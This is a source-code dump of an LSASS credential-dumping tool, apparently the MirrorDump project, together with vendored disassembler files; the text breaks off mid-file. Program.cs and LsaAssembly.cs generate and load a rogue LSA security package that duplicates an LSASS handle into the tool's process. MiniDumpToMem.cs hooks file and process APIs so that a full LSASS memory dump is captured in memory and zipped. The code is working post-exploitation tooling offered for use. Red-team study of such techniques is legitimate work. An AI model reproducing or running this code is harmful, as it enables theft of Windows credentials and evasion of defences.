lstHandles; 96 | } 97 | 98 | public static IEnumerable GetProcessHandles(Process process) { 99 | 100 | var processHandles = GetHandles(process, OBJECT_TYPE_PROCESS); 101 | var result = new List(); 102 | 103 | foreach(var item in processHandles) { 104 | 105 | var procHandle = new ProcessHandle(); 106 | var procId = (int)GetProcessId((IntPtr)item.Handle); 107 | procHandle.Handle = (IntPtr)item.Handle; 108 | if (procId > 0) 109 | procHandle.Process = Process.GetProcessById(procId); 110 | result.Add(procHandle); 111 | } 112 | 113 | return result; 114 | } 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/ud_type.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\ud_type.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | /// 47 | /// All possible "types" of objects in udis86. Order is Important! 48 | /// 49 | public enum ud_type: int 50 | { 51 | UD_NONE, 52 | 53 | /* 8 bit GPRs */ 54 | UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, 55 | UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, 56 | UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, 57 | UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, 58 | UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, 59 | 60 | /* 16 bit GPRs */ 61 | UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, 62 | UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, 63 | UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, 64 | UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, 65 | 66 | /* 32 bit GPRs */ 67 | UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, 68 | UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, 69 | UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, 70 | UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, 71 | 72 | /* 64 bit GPRs */ 73 | UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, 74 | UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, 75 | UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, 76 | UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, 77 | 78 | /* segment registers */ 79 | UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, 80 | UD_R_FS, UD_R_GS, 81 | 82 | /* control registers*/ 83 | UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, 84 | UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, 85 | UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, 86 | UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, 87 | 88 | /* debug registers */ 89 | UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, 90 | UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, 91 | UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, 92 | UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, 93 | 94 | /* mmx registers */ 95 | UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, 96 | UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, 97 | 98 | /* x87 registers */ 99 | UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, 100 | UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, 101 | 102 | /* extended multimedia registers */ 103 | UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, 104 | UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, 105 | UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, 106 | UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, 107 | 108 | /* 256B multimedia registers */ 109 | UD_R_YMM0, UD_R_YMM1, UD_R_YMM2, UD_R_YMM3, 110 | UD_R_YMM4, UD_R_YMM5, UD_R_YMM6, UD_R_YMM7, 111 | UD_R_YMM8, UD_R_YMM9, UD_R_YMM10, UD_R_YMM11, 112 | UD_R_YMM12, UD_R_YMM13, UD_R_YMM14, UD_R_YMM15, 113 | 114 | UD_R_RIP, 115 | 116 | /* Operand Types */ 117 | UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, 118 | UD_OP_JIMM, UD_OP_CONST 119 | } 120 | #pragma warning restore 1591 121 | } 122 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/BitOps.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\BitOps.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | 39 | namespace SharpDisasm.Udis86 40 | { 41 | internal static class BitOps 42 | { 43 | #region Instruction Table prefix bits 44 | 45 | public const UInt32 P_none = (0); 46 | 47 | public const UInt32 P_inv64 = (1 << 0); 48 | public static UInt32 P_INV64(UInt32 n) { return (n >> 0) & 1; } 49 | public const UInt32 P_def64 = (1 << 1); 50 | public static UInt32 P_DEF64(UInt32 n) { return (n >> 1) & 1; } 51 | 52 | public const UInt32 P_oso = (1 << 2); 53 | public static UInt32 P_OSO(UInt32 n) { return (n >> 2) & 1; } 54 | public const UInt32 P_aso = (1 << 3); 55 | public static UInt32 P_ASO(UInt32 n) { return (n >> 3) & 1; } 56 | public const UInt32 P_rexb = (1 << 4); 57 | public static UInt32 P_REXB(UInt32 n) { return (n >> 4) & 1; } 58 | public const UInt32 P_rexw = (1 << 5); 59 | public static UInt32 P_REXW(UInt32 n) { return (n >> 5) & 1; } 60 | public const UInt32 P_rexr = (1 << 6); 61 | public static UInt32 P_REXR(UInt32 n) { return (n >> 6) & 1; } 62 | public const UInt32 P_rexx = (1 << 7); 63 | public static UInt32 P_REXX(UInt32 n) { return (n >> 7) & 1; } 64 | 65 | public const UInt32 P_seg = (1 << 8); 66 | public static UInt32 P_SEG(UInt32 n) { return (n >> 8) & 1; } 67 | 68 | public const UInt32 P_vexl = (1 << 9); 69 | public static UInt32 P_VEXL(UInt32 n) { return (n >> 9) & 1; } 70 | public const UInt32 P_vexw = (1 << 10); 71 | public static UInt32 P_VEXW(UInt32 n) { return (n >> 10) & 1; } 72 | 73 | public const UInt32 P_str = (1 << 11); 74 | public static UInt32 P_STR(UInt32 n) { return (n >> 11) & 1; } 75 | public const UInt32 P_strz = (1 << 12); 76 | public static UInt32 P_STR_ZF(UInt32 n) { return (n >> 12) & 1; } 77 | 78 | #endregion 79 | 80 | #region REX prefix bits 81 | 82 | public static byte REX_W(byte r) { return (byte)((0xF & r) >> 3); } 83 | public static byte REX_R(byte r) { return (byte)((0x7 & r) >> 2); } 84 | public static byte REX_X(byte r) { return (byte)((0x3 & r) >> 1); } 85 | public static byte REX_B(byte r) { return (byte)((0x1 & r) >> 0); } 86 | public static uint REX_PFX_MASK(uint n) 87 | { 88 | return ((P_REXW(n) << 3) | 89 | (P_REXR(n) << 2) | 90 | (P_REXX(n) << 1) | 91 | (P_REXB(n) << 0)); 92 | } 93 | 94 | #endregion 95 | 96 | #region Scale Index Base bits 97 | 98 | public static byte SIB_S(byte b) { return (byte)(b >> 6); } 99 | public static byte SIB_I(byte b) { return (byte)((b >> 3) & 7); } 100 | public static byte SIB_B(byte b) { return (byte)(b & 7); } 101 | 102 | #endregion 103 | 104 | #region MODRM bits 105 | 106 | public static byte MODRM_REG(byte b) { return (byte)((b >> 3) & 7); } 107 | public static byte MODRM_NNN(byte b) { return (byte)((b >> 3) & 7); } 108 | public static byte MODRM_MOD(byte b) { return (byte)((b >> 6) & 3); } 109 | public static byte MODRM_RM(byte b) { return (byte)(b & 7); } 110 | 111 | #endregion 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /Lsa/LsaAssembly.cs: -------------------------------------------------------------------------------- 1 | using Boo.Lang.Compiler; 2 | using Boo.Lang.Compiler.IO; 3 | using Boo.Lang.Compiler.Pipelines; 4 | using dnlib.DotNet; 5 | using dnlib.DotNet.Writer; 6 | using System; 7 | using System.Collections.Generic; 8 | using System.Diagnostics; 9 | using System.IO; 10 | using System.Linq; 11 | using System.Reflection; 12 | using System.Reflection.Emit; 13 | 14 | namespace MirrorDump.Lsa { 15 | internal class LsaAssembly { 16 | 17 | static Random random = new Random(); 18 | 19 | internal static void GenerateLsaPlugin(string dllName) { 20 | 21 | var referenceAssemblies = new List { 22 | Assembly.GetCallingAssembly(), 23 | typeof(System.Runtime.InteropServices.CallingConvention).Assembly, 24 | }; 25 | 26 | string script = string.Format(GetResourceFileAsString("MirrorDump.Lsa.LsaProviderDuper.boo"), Process.GetCurrentProcess().Id); 27 | AssemblyBuilder assembly = (AssemblyBuilder)CompileBooAssembly(script, referenceAssemblies, dllName, true); 28 | assembly.Save(dllName); 29 | ExportLsaEntryPoint(dllName); 30 | } 31 | 32 | static string RandomString(int length) { 33 | const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 34 | return new string(Enumerable.Repeat(chars, length) 35 | .Select(s => s[random.Next(s.Length)]).ToArray()); 36 | } 37 | 38 | static Assembly CompileBooAssembly(string script, List references, string assemblyPath, bool memoryOnly) { 39 | 40 | //We need to supply custom CompilerParameters to turn of adding default references. 41 | //There is a bug in EmitAssembly that forces a permission check of destination assembly folder 42 | //not to be performed and always resort to the AppDomain folder as the output location instead 43 | BooCompiler compiler = new BooCompiler(new CompilerParameters(false)); 44 | compiler.Parameters.Input.Add(new StringInput(RandomString(10), script)); 45 | compiler.Parameters.OutputType = CompilerOutputType.Library; 46 | compiler.Parameters.Debug = false; 47 | compiler.Parameters.Checked = false; 48 | compiler.Parameters.GenerateInMemory = memoryOnly; 49 | compiler.Parameters.OutputAssembly = assemblyPath; 50 | compiler.Parameters.Pipeline = memoryOnly ? new CompileToMemory() : new CompileToFile(); 51 | compiler.Parameters.References.Add(compiler.Parameters.LoadAssembly("System", true)); 52 | compiler.Parameters.References.Add(compiler.Parameters.LoadAssembly("System.Runtime", true)); 53 | 54 | foreach (Assembly reference in references) { 55 | compiler.Parameters.References.Add(reference); 56 | } 57 | 58 | CompilerContext context = compiler.Run(); 59 | 60 | if (context.GeneratedAssembly != null) { 61 | return context.GeneratedAssembly; 62 | } else { 63 | string compilerErrors = ""; 64 | foreach (CompilerError error in context.Errors) 65 | compilerErrors += error; 66 | 67 | throw new ArgumentException(compilerErrors, "script"); 68 | } 69 | } 70 | 71 | static string GetResourceFileAsString(string resourcePath) { 72 | using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourcePath)) 73 | using (StreamReader reader = new StreamReader(stream)) { 74 | return reader.ReadToEnd(); 75 | } 76 | } 77 | 78 | static void ExportLsaEntryPoint(string assemblyPath) { 79 | 80 | byte[] data = File.ReadAllBytes(assemblyPath); 81 | ModuleDefMD module = ModuleDefMD.Load(data); 82 | 83 | //Little trick here that uses dnlib to search for all functions within our generated 84 | //assembly that has the DllExport attribute. We then mark that function as a native export 85 | //and remove the attribute so that we don't have a dependency on this assembly 86 | foreach (var type in module.GetTypes()) { 87 | foreach (var method in type.Methods) { 88 | var toRemove = new List(); 89 | foreach (var attrib in method.CustomAttributes) { 90 | if (attrib.TypeFullName == typeof(DllExportAttribute).FullName) { 91 | method.ExportInfo = new MethodExportInfo(); 92 | var retType = method.MethodSig.RetType; 93 | method.MethodSig.RetType = new CModOptSig(module.CorLibTypes.GetTypeRef("System.Runtime.CompilerServices", "CallConvStdCall"), retType); 94 | toRemove.Add(attrib); 95 | } 96 | } 97 | toRemove.ForEach(remove => method.CustomAttributes.Remove(remove)); 98 | } 99 | } 100 | 101 | var moduleOptions = new ModuleWriterOptions(module); 102 | moduleOptions.PEHeadersOptions.Machine = IntPtr.Size == 8 ? dnlib.PE.Machine.AMD64 : dnlib.PE.Machine.I386; 103 | moduleOptions.Cor20HeaderOptions.Flags &= ~(dnlib.DotNet.MD.ComImageFlags.ILOnly); 104 | if (IntPtr.Size == 4) { 105 | moduleOptions.Cor20HeaderOptions.Flags |= dnlib.DotNet.MD.ComImageFlags.Bit32Required; 106 | moduleOptions.Cor20HeaderOptions.Flags &= ~(dnlib.DotNet.MD.ComImageFlags.Bit32Preferred); 107 | } 108 | 109 | module.Write(assemblyPath, moduleOptions); 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using MirrorDump.Lsa; 2 | using Mono.Options; 3 | using System; 4 | using System.Diagnostics; 5 | using System.IO; 6 | using System.IO.Compression; 7 | using System.Runtime.InteropServices; 8 | using static MirrorDump.MiniDumpToMem; 9 | using static MirrorDump.ProcessUtility; 10 | using static MirrorDump.WinAPI; 11 | 12 | namespace MirrorDump { 13 | class Program { 14 | 15 | [DllImport("kernel32.dll", SetLastError = true)] 16 | public static extern IntPtr OpenProcess( 17 | uint processAccess, 18 | bool bInheritHandle, 19 | int processId); 20 | 21 | static IntPtr MagicHandle = new IntPtr(0x5555555); 22 | 23 | static void SaveZip(string fileName, DumpContext dc) { 24 | using (var fileStream = new FileStream(fileName, FileMode.Create, FileAccess.ReadWrite)) { 25 | using (var archive = new ZipArchive(fileStream, ZipArchiveMode.Create, true)) { 26 | var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.dmp"); 27 | 28 | using (var entryStream = lsassDump.Open()) { 29 | using (var streamWriter = new BinaryWriter(entryStream)) { 30 | streamWriter.Write(dc.Data, 0, (int)dc.Size); 31 | } 32 | } 33 | } 34 | } 35 | } 36 | 37 | static ProcessHandle FindLsassHandle() { 38 | var procHandles = ProcessUtility.GetProcessHandles(Process.GetCurrentProcess()); 39 | foreach (var procHandle in procHandles) { 40 | if (procHandle.Process?.ProcessName == "lsass") { 41 | return procHandle; 42 | } 43 | } 44 | return null; 45 | } 46 | 47 | static void Main(string[] args) { 48 | 49 | int pid = 0; 50 | uint limit = 0; 51 | string fileName = "lsass.zip"; 52 | string dllName = "LsaProviderDuper.dll"; 53 | bool showHelp = false; 54 | 55 | OptionSet option_set = new OptionSet() 56 | .Add("f=|filename=", "Output path for generated zip file", v => fileName = v) 57 | .Add("d=|dllName", "Output LSA DLL name", v => dllName = v) 58 | .Add("l=|limit=", "The maximum amount of memory the minidump is allowed to consume", v => limit = uint.Parse(v)) 59 | .Add("h|help", "Display this help", v => showHelp = v != null); 60 | 61 | try { 62 | 63 | option_set.Parse(args); 64 | 65 | if (fileName == null) 66 | showHelp = true; 67 | 68 | if (showHelp) { 69 | option_set.WriteOptionDescriptions(Console.Out); 70 | return; 71 | } 72 | 73 | } catch (Exception e) { 74 | Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message); 75 | option_set.WriteOptionDescriptions(Console.Out); 76 | return; 77 | } 78 | 79 | //Generate our LSA plugin DLL that will duplicate lsass handle into this process 80 | Console.Write($"[+] Generating new LSA DLL {dllName} targeting PID {Process.GetCurrentProcess().Id}....."); 81 | LsaAssembly.GenerateLsaPlugin(dllName); 82 | Console.WriteLine($"Done."); 83 | 84 | //Load our LSA plugin. This will actually return a failiure due to us 85 | //not implementing a correct LSA plugin, but it's enough to duplicate the handle 86 | SECURITY_PACKAGE_OPTIONS spo = new SECURITY_PACKAGE_OPTIONS(); 87 | AddSecurityPackage(new FileInfo(dllName).FullName, spo); 88 | Console.WriteLine("[+] LSA security package loaded, searching current process for duplicated LSASS handle"); 89 | 90 | //Now search this process for the duplicated handle that the LSA plugin done on our behalf 91 | var procHandle = FindLsassHandle(); 92 | if(procHandle != null) { 93 | Console.WriteLine($"[+] Found duplicated LSASS process handle 0x{procHandle.Handle.ToInt64():x}"); 94 | } else { 95 | Console.WriteLine($"[!] Failed to get LSASS handle, bailing!"); 96 | return; 97 | } 98 | 99 | //http://cybernigma.blogspot.com/2014/03/using-sspap-lsass-proxy-to-mitigate.html 100 | //It actually has no effect what so ever, so only a reboot will get rid of the DLL from LSASS 101 | DeleteSecurityPackage(new FileInfo(dllName).FullName); 102 | 103 | //OK, first part done. We have our LSASS handle. Now lets perform our dump in memory 104 | //by hook the relevant file writing API's and redirect to memory 105 | MiniDumpToMem.InitHookEngine(MagicHandle, limit, procHandle.Process.Id, procHandle.Handle); 106 | 107 | Console.Write("[=] Dumping LSASS memory"); 108 | 109 | if (!MiniDumpWriteDump(procHandle.Handle, (uint)procHandle.Process.Id, MagicHandle, MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero)) { 110 | if (Marshal.GetLastWin32Error() == ERROR_DISK_FULL) { 111 | Console.WriteLine("\n[!] Minidump memory limit reached, could not create dump"); 112 | } else { 113 | Console.WriteLine($"\n[!] Minidump generation failed with error 0x{Marshal.GetHRForLastWin32Error():x}"); 114 | } 115 | } else { 116 | Console.WriteLine($"\n[+] Minidump successfully saved to memory, size {Math.Round(MiniDumpToMem.GetDumpContextFromHandle(MagicHandle).Size / 1024.0 / 1024.0, 2)}MB"); 117 | } 118 | 119 | //All done, lets clean up and zip our dump for demo purposes 120 | CloseHandle(procHandle.Handle); 121 | MiniDumpToMem.ShutdownHookEngine(); 122 | 123 | SaveZip(fileName, MiniDumpToMem.GetDumpContextFromHandle(MagicHandle)); 124 | Console.WriteLine($"[+] Minidump compressed and saved to {fileName}"); 125 | } 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /MirrorDump.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {58338E42-6010-493C-B8C8-2FD2CFC30FFB} 8 | Exe 9 | MirrorDump 10 | MirrorDump 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | false 28 | true 29 | 30 | 31 | AnyCPU 32 | pdbonly 33 | true 34 | bin\Release\ 35 | 36 | 37 | prompt 38 | 4 39 | false 40 | true 41 | 42 | 43 | 44 | lib\Boo.Lang.dll 45 | 46 | 47 | lib\Boo.Lang.Compiler.dll 48 | 49 | 50 | lib\Boo.Lang.Parser.dll 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | True 86 | True 87 | OpTable.tt 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | TextTemplatingFileGenerator 120 | OpTable1.cs 121 | 122 | 123 | 124 | 125 | 126 | 127 | 4.1.0 128 | 129 | 130 | 3.3.2 131 | 132 | 133 | 4.3.0 134 | 135 | 136 | 137 | -------------------------------------------------------------------------------- /MiniDump/MiniDumpToMem.cs: -------------------------------------------------------------------------------- 1 | using MinHook; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using static MirrorDump.WinAPI; 9 | 10 | namespace MirrorDump { 11 | internal class MiniDumpToMem { 12 | 13 | [DllImport("kernel32.dll", SetLastError = true)] 14 | [return: MarshalAs(UnmanagedType.Bool)] 15 | static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, 16 | IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, 17 | uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); 18 | 19 | internal class DumpContext { 20 | public byte[] Data { get { return data; } } 21 | public uint Size { get; set; } 22 | public uint CurrentOffset { get; set; } 23 | public uint Limit { get; private set; } 24 | public uint ResizeIncrement { get; private set; } 25 | 26 | byte[] data; 27 | 28 | public DumpContext(uint limit = 0, uint resizeIncrement = 1024 * 1024 * 10) { 29 | Limit = limit; 30 | ResizeIncrement = resizeIncrement; 31 | data = new byte[0]; 32 | } 33 | 34 | public void Resize(uint newSize) { 35 | 36 | if (newSize % ResizeIncrement != 0) 37 | newSize = (newSize - newSize % ResizeIncrement) + ResizeIncrement; 38 | 39 | Array.Resize(ref data, (int)newSize); 40 | } 41 | } 42 | 43 | internal enum MoveMethod : uint { 44 | Begin, 45 | Current, 46 | End 47 | } 48 | 49 | delegate int NtOpenProcessDelegate(IntPtr ProcessHandle, uint desiredAccess, IntPtr ObjectAttributes, IntPtr ClientId); 50 | delegate uint GetFileSizeDelegate(IntPtr fileHandle, out uint fileSizeHigh); 51 | delegate uint SetFilePointerDelegate(IntPtr fileHandle, int distanceToMove, ref int distanceToMoveHigh, MoveMethod moveMethod); 52 | delegate bool WriteFileDelegate(IntPtr fileHandle, IntPtr buffer, uint numberOfBytesToWrite, out uint numberOfBytesWritten, IntPtr overlapped); 53 | 54 | static NtOpenProcessDelegate NtOpenProcess_orig, NtOpenProcess_detour; 55 | static GetFileSizeDelegate GetFileSize_orig, GetFileSize_detour; 56 | static SetFilePointerDelegate SetFilePointer_orig, SetFilePointer_detour; 57 | static WriteFileDelegate WriteFile_orig, WriteFile_detour; 58 | static HookEngine hookEngine; 59 | static Dictionary dumpContexts = new Dictionary(); 60 | 61 | static int lsassPid; 62 | static IntPtr lsassHandle; 63 | 64 | internal static DumpContext GetDumpContextFromHandle(IntPtr handle) { 65 | if (dumpContexts.ContainsKey(handle)) 66 | return dumpContexts[handle]; 67 | else 68 | return null; 69 | } 70 | 71 | static int NtOpenProcess(IntPtr ProcessHandle, uint desiredAccess, IntPtr ObjectAttributes, IntPtr ClientId) { 72 | 73 | int pid = Marshal.ReadInt32(ClientId); 74 | if(pid != lsassPid) 75 | return NtOpenProcess_orig(ProcessHandle, desiredAccess, ObjectAttributes, ClientId); 76 | 77 | IntPtr currentProcess = new IntPtr(-1); 78 | IntPtr newLsassHandle; 79 | 80 | if(!DuplicateHandle(currentProcess, lsassHandle, currentProcess, out newLsassHandle, 0, false, 0x2)) { 81 | Console.WriteLine("[!] Failed to fake NtOpenProcess on LSASS PID"); 82 | return Marshal.GetLastWin32Error(); 83 | } 84 | 85 | Marshal.WriteIntPtr(ProcessHandle, newLsassHandle); 86 | return 0; 87 | } 88 | 89 | 90 | static uint GetFileSize(IntPtr fileHandle, out uint fileSizeHigh) { 91 | 92 | DumpContext dc = GetDumpContextFromHandle(fileHandle); 93 | if (dc == null) 94 | return GetFileSize_orig(fileHandle, out fileSizeHigh); 95 | 96 | fileSizeHigh = 0; 97 | return dc.Size; 98 | } 99 | 100 | static uint SetFilePointer(IntPtr fileHandle, int distanceToMove, ref int distanceToMoveHigh, MoveMethod moveMethod) { 101 | 102 | DumpContext dc = GetDumpContextFromHandle(fileHandle); 103 | if (dc == null) 104 | return SetFilePointer_orig(fileHandle, distanceToMove, ref distanceToMoveHigh, moveMethod); 105 | 106 | switch (moveMethod) { 107 | case MoveMethod.Begin: 108 | dc.CurrentOffset = (uint)distanceToMove; 109 | break; 110 | case MoveMethod.Current: 111 | dc.CurrentOffset = (uint)(dc.CurrentOffset + distanceToMove); 112 | break; 113 | case MoveMethod.End: 114 | dc.CurrentOffset = (uint)(dc.Size + distanceToMove); 115 | break; 116 | default: 117 | return 0xffffffff; 118 | } 119 | 120 | return dc.CurrentOffset; 121 | } 122 | 123 | static bool WriteFile(IntPtr fileHandle, IntPtr buffer, uint numberOfBytesToWrite, out uint numberOfBytesWritten, IntPtr overlapped) { 124 | 125 | DumpContext dc = GetDumpContextFromHandle(fileHandle); 126 | if (dc == null) 127 | return WriteFile_orig(fileHandle, buffer, numberOfBytesToWrite, out numberOfBytesWritten, overlapped); 128 | 129 | if (dc.Limit != 0 && dc.CurrentOffset + numberOfBytesToWrite > dc.Limit) { 130 | SetLastError(ERROR_DISK_FULL); 131 | numberOfBytesWritten = 0; 132 | return false; 133 | } else if (dc.CurrentOffset + numberOfBytesToWrite > dc.Data.Length) { 134 | Console.Write("."); 135 | dc.Resize(dc.CurrentOffset + numberOfBytesToWrite); 136 | } 137 | 138 | Marshal.Copy(buffer, dc.Data, (int)dc.CurrentOffset, (int)numberOfBytesToWrite); 139 | dc.CurrentOffset += numberOfBytesToWrite; 140 | numberOfBytesWritten = numberOfBytesToWrite; 141 | 142 | int growth = (int)dc.CurrentOffset - (int)dc.Size; 143 | if (growth > 0) { 144 | dc.Size += (uint)growth; 145 | } 146 | 147 | return true; 148 | } 149 | 150 | internal static void InitHookEngine(IntPtr contextHandle, uint dumpSizeLimit, int lsassPid, IntPtr lsassHandle) { 151 | 152 | hookEngine = new HookEngine(); 153 | dumpContexts[contextHandle] = new DumpContext(dumpSizeLimit); 154 | MiniDumpToMem.lsassPid = lsassPid; 155 | MiniDumpToMem.lsassHandle = lsassHandle; 156 | 157 | SetFilePointer_detour = new SetFilePointerDelegate(SetFilePointer); 158 | GetFileSize_detour = new GetFileSizeDelegate(GetFileSize); 159 | WriteFile_detour = new WriteFileDelegate(WriteFile); 160 | NtOpenProcess_detour = new NtOpenProcessDelegate(NtOpenProcess); 161 | 162 | NtOpenProcess_orig = hookEngine.CreateHook("ntdll.dll", 